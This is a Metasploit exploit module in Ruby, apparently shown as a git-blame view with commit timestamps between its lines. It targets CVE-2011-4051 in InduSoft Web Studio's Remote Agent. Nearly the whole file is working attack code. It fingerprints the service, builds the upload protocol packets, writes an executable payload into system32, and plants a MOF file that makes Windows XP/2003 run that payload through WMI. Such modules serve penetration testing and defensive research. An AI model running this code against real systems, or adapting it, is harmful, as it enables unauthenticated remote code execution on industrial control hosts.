2012-10-03 16:03:36 +02:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2012-10-03 16:03:36 +02:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf :: Exploit :: Remote
2012-10-03 16:03:36 +02:00
Rank = ExcellentRanking
2013-08-30 16:28:54 -05:00
2012-10-03 16:03:36 +02:00
include Msf :: Exploit :: Remote :: Tcp
include Msf :: Exploit :: EXE
include Msf :: Exploit :: WbemExec
2013-08-30 16:28:54 -05:00
2012-10-03 16:03:36 +02:00
def initialize ( info = { } )
super ( update_info ( info ,
2012-10-03 12:16:25 -05:00
'Name' = > 'InduSoft Web Studio Arbitrary Upload Remote Code Execution' ,
2012-10-03 16:03:36 +02:00
'Description' = > %q{
This module exploits a lack of authentication and authorization on the InduSoft
Web Studio Remote Agent, that allows a remote attacker to write arbitrary files to
the filesystem, by abusing the functions provided by the software.
2013-08-30 16:28:54 -05:00
2017-09-13 22:03:34 -04:00
The module uses the Windows Management Instrumentation service to execute an
2012-10-03 16:03:36 +02:00
arbitrary payload on vulnerable installations of InduSoft Web Studio on Windows pre
Vista. It has been successfully tested on InduSoft Web Studio 6.1 SP6 over Windows
XP SP3 and Windows 2003 SP2.
} ,
'Author' = >
[
2012-10-03 16:06:00 +02:00
'Luigi Auriemma' , # Vulnerability Discovery
2012-10-03 16:03:36 +02:00
'juan vazquez' # Metasploit module
] ,
'License' = > MSF_LICENSE ,
'References' = >
[
[ 'CVE' , '2011-4051' ] ,
2016-07-15 12:00:31 -05:00
[ 'OSVDB' , '77179' ] ,
2012-10-03 16:03:36 +02:00
[ 'BID' , '50675' ] ,
2013-10-21 15:07:07 -05:00
[ 'ZDI' , '11-330' ]
2012-10-03 16:03:36 +02:00
] ,
'Privileged' = > true ,
'Payload' = >
{
'BadChars' = > " " ,
} ,
'Platform' = > 'win' ,
'Targets' = >
[
[ 'Windows XP / 2003' , { } ] ,
] ,
'DefaultTarget' = > 0 ,
2020-10-02 17:38:06 +01:00
'DisclosureDate' = > '2011-11-04' ) )
2013-08-30 16:28:54 -05:00
2017-05-03 15:42:21 -05:00
register_options ( [ Opt :: RPORT ( 4322 ) ] )
2012-10-03 16:03:36 +02:00
end
2013-08-30 16:28:54 -05:00
2012-10-03 16:03:36 +02:00
def check
connect
2013-08-30 16:28:54 -05:00
2012-10-03 16:03:36 +02:00
# Get Application version
data = [ 0x14 ] . pack ( " C " )
sock . put ( data )
app_info = sock . get_once
disconnect
2013-08-30 16:28:54 -05:00
2012-10-03 12:16:25 -05:00
if app_info =~ / InduSoft Web Studio v6 \ .1 /
2014-01-20 14:26:10 -06:00
return Exploit :: CheckCode :: Appears
2012-10-03 16:03:36 +02:00
elsif app_info =~ / InduSoft Web Studio /
return Exploit :: CheckCode :: Detected
end
2013-08-30 16:28:54 -05:00
2012-10-03 16:03:36 +02:00
return Exploit :: CheckCode :: Safe
2013-08-30 16:28:54 -05:00
2012-10-03 16:03:36 +02:00
end
2013-08-30 16:28:54 -05:00
2012-10-03 16:03:36 +02:00
def upload_file ( filename , my_payload )
connect
2013-08-30 16:28:54 -05:00
2012-10-03 16:03:36 +02:00
# Get Application version
data = [ 0x14 ] . pack ( " C " )
sock . put ( data )
app_info = sock . get_once
if app_info !~ / InduSoft Web Studio /
print_error ( " #{ @peer } - InduSoft Web Sutio hasn't been detected, trying to exploit anyway... " )
end
2013-08-30 16:28:54 -05:00
2012-10-03 16:03:36 +02:00
# Get Operating System
data = [ 0x13 ] . pack ( " C " )
sock . put ( data )
os_info = sock . get_once
if os_info !~ / WINXP / and os_info !~ / WIN2K3 /
print_error ( " #{ @peer } - Exploitation through Windows Management Instrumentation service only works on windows pre-vista system, trying to exploit anyway... " )
end
2013-08-30 16:28:54 -05:00
2012-10-03 16:03:36 +02:00
# Upload file
2013-08-30 16:28:54 -05:00
2012-10-03 16:03:36 +02:00
data = " \x02 \x37 " # Command => Select destination
data << [ my_payload . length ] . pack ( " V " ) # Data length
data << " #{ filename } " # File name to upload
data << " \x09 \x00 \x30 \x00 \x00 \x00 "
data << " \x10 \x03 " # End of packet
2013-08-30 16:28:54 -05:00
2012-10-03 16:03:36 +02:00
# The data must be split on 1024 length chunks
offset = 0 # Data to send
count = 1 # Number of chunks sent
groups = 0 # Data must be sent in groups of 50 chunks
2013-08-30 16:28:54 -05:00
2012-10-03 16:03:36 +02:00
chunk = my_payload [ offset , 1024 ]
2013-08-30 16:28:54 -05:00
2012-10-03 16:03:36 +02:00
while not chunk . nil?
2013-08-30 16:28:54 -05:00
2012-10-03 16:03:36 +02:00
# If there is a group of chunks, send it
if count % 51 == 0
2013-08-30 16:28:54 -05:00
2012-10-03 16:03:36 +02:00
data << " \x02 \x2c " # Command => Send group of chunks
my_count = [ count ] . pack ( " V " ) # Number of chunks
data << my_count . gsub ( / \ x10 / , " \x10 \x10 " )
data << " \x10 \x03 " # End of packet
2013-08-30 16:28:54 -05:00
2012-10-03 16:03:36 +02:00
sock . put ( data )
res = sock . get_once
if res !~ / \ x02 \ x06 \ x10 \ x03 /
return res
end
2013-08-30 16:28:54 -05:00
2012-10-03 16:03:36 +02:00
count = count + 1
groups = groups + 1
data = " "
2013-08-30 16:28:54 -05:00
2012-10-03 16:03:36 +02:00
end
2013-08-30 16:28:54 -05:00
2012-10-03 16:03:36 +02:00
pkt = [ 0x02 , 0x2e ] . pack ( " C* " ) # Command => Chunk Data
my_count = [ count ] . pack ( " V " )
pkt << my_count . gsub ( / \ x10 / , " \x10 \x10 " ) # Chunk ID
pkt << [ chunk . length ] . pack ( " V " ) . gsub ( / \ x10 / , " \x10 \x10 " ) # Chunk Data length
pkt << chunk . gsub ( / \ x10 / , " \x10 \x10 " ) # Chunk Data
pkt << " \x10 \x03 " # End of packet
2013-08-30 16:28:54 -05:00
2012-10-03 16:03:36 +02:00
data << pkt
offset = ( count - groups ) * 1024
chunk = my_payload [ offset , 1024 ]
count = count + 1
end
2013-08-30 16:28:54 -05:00
2012-10-03 16:03:36 +02:00
pkt = [ 0x02 , 0x03 ] . pack ( " C* " ) # Command => End of File
my_count = [ count ] . pack ( " V " )
pkt << my_count . gsub ( / \ x10 / , " \x10 \x10 " ) # Chunk ID
pkt << rand_text_alpha ( 8 ) # LastWriteTime
pkt << rand_text_alpha ( 8 ) # LastAccessTime
pkt << rand_text_alpha ( 8 ) # CreationTime
pkt << " \x20 \x00 \x00 \x00 " # FileAttributes => FILE_ATTRIBUTE_ARCHIVE (0x20)
pkt << rand_text_alpha ( 1 )
pkt << " \x10 \x03 " # End of packet
data << pkt
2013-08-30 16:28:54 -05:00
2012-10-03 16:03:36 +02:00
sock . put ( data )
res = sock . get_once
disconnect
2013-08-30 16:28:54 -05:00
2012-10-03 16:03:36 +02:00
return res
2013-08-30 16:28:54 -05:00
2012-10-03 16:03:36 +02:00
end
2013-08-30 16:28:54 -05:00
2012-10-03 16:03:36 +02:00
def exploit
2013-08-30 16:28:54 -05:00
2012-10-03 16:03:36 +02:00
@peer = " #{ rhost } : #{ rport } "
2013-08-30 16:28:54 -05:00
2012-10-03 16:03:36 +02:00
exe = generate_payload_exe
exe_name = rand_text_alpha ( rand ( 10 ) + 5 ) + '.exe'
2013-08-30 16:28:54 -05:00
2012-10-03 16:03:36 +02:00
mof_name = rand_text_alpha ( rand ( 10 ) + 5 ) + '.mof'
mof = generate_mof ( mof_name , exe_name )
2013-08-30 16:28:54 -05:00
2012-10-03 16:03:36 +02:00
print_status ( " #{ @peer } - Uploading the exe payload to C: \\ WINDOWS \\ system32 \\ #{ exe_name } " )
res = upload_file ( " C: \\ WINDOWS \\ system32 \\ #{ exe_name } " , exe )
if res =~ / \ x02 \ x06 \ x10 \ x03 /
print_good " #{ @peer } - The exe payload has been uploaded successfully "
else
print_error " #{ @peer } - Error uploading the exe payload "
return
end
2013-08-30 16:28:54 -05:00
2012-10-03 16:03:36 +02:00
print_status ( " #{ @peer } - Uploading the mof file to c: \\ WINDOWS \\ system32 \\ wbem \\ mof \\ #{ mof_name } " )
res = upload_file ( " c: \\ WINDOWS \\ system32 \\ wbem \\ mof \\ #{ mof_name } " , mof )
if res =~ / \ x02 \ x06 \ x10 \ x03 /
print_good " #{ @peer } - The mof file has been uploaded successfully "
else
print_error " #{ @peer } - Error uploading the mof file "
return
end
2013-08-30 16:28:54 -05:00
2012-10-03 16:03:36 +02:00
end
end